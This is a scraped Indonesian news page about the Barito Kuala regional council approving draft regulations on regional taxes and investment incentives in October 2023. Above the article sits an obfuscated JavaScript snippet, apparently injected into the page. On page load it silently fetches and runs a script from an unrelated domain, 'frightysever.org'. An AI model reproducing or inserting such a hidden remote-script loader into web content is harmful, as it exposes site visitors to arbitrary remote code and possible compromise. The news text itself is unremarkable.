(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Guna mendorong pembangunan daerah, Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Barito Kuala (Batola) telah memberikan persetujuan terhadap dua Rancangan Peraturan Daerah (Raperda) yang diajukan oleh Pemerintah Kabupaten Batola.
Persetujuan ini diumumkan dalam rapat paripurna yang berlangsung di Gedung DPRD Batola pada Rabu, 25 Oktober 2023.
Dua Raperda yang mendapat persetujuan adalah Raperda tentang Pajak Daerah dan Retribusi Daerah, serta Raperda tentang Pemberian Insentif dan/atau Kemudahan Investasi.
Keputusan ini merupakan langkah penting dalam pengembangan ekonomi dan peningkatan pendapatan daerah.
Rapat paripurna ini merupakan yang ketiga dalam masa sidang pertama tahun 2023-2024 dan dipimpin oleh Ketua DPRD Batola, Saleh, yang turut disaksikan oleh Penjabat Bupati Batola, Mujiyat.
Sebelum disetujui oleh anggota DPRD Batola, juru bicara gabungan komisi DPRD Batola, Reza Widya Noor, membacakan hasil pembahasan yang telah dilakukan oleh komisi bersama tim Raperda Pemerintah Kabupaten Batola.
Hasil pembahasan ini menjadi dasar untuk persetujuan Raperda yang akan mempengaruhi berbagai aspek kebijakan di Kabupaten Batola.
Salah satu Raperda yang disetujui, yaitu Raperda tentang Pajak Daerah dan Retribusi Daerah, bertujuan untuk mengatur dan meningkatkan pengumpulan pajak dan retribusi, yang akan menjadi sumber pendapatan daerah yang vital untuk pembiayaan program-program pembangunan.
Sementara itu, Raperda tentang Pemberian Insentif dan/atau Kemudahan Investasi bertujuan untuk menciptakan iklim investasi yang lebih kondusif dan mendukung pertumbuhan ekonomi di Kabupaten Batola.
Langkah ini diharapkan akan menarik investasi dan membantu menciptakan lapangan kerja.
Keputusan persetujuan dua Raperda ini menggambarkan keseriusan DPRD Batola dalam mendukung pembangunan daerah dan peningkatan kesejahteraan masyarakat.
Raperda ini segera akan diajukan untuk ditetapkan sebagai Peraturan Daerah, yang akan menjadi dasar hukum bagi pelaksanaan program-program pembangunan dan investasi di Kabupaten Barito Kuala.(www.kanalkalimantan.com/kk)
reporter : KK
Editor : Rdy
KANALKALIMANTAN.COM - Tak banyak yang tahu 3 Juni diperingati Hari Sepeda Sedunia. Sepeda menjadi alat… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengawas Keluarahan Desa (PKD) pada Pemilihan Kepala Daerah (Pilkada) 2024 diharuskan melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan jalan TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-Balangan di Desa… Read More
Konjen RI Jeddah: Denda 10.000 Riyal, Deportasi, dan Diblokir Selama 10 Tahun Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru resmi melantik 20 anggota Pengawas Kelurahan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Pengawas Kelurahan Desa (PKD) di 219 desa dan kelurahan se Kabupaten Hulu… Read More
This website uses cookies.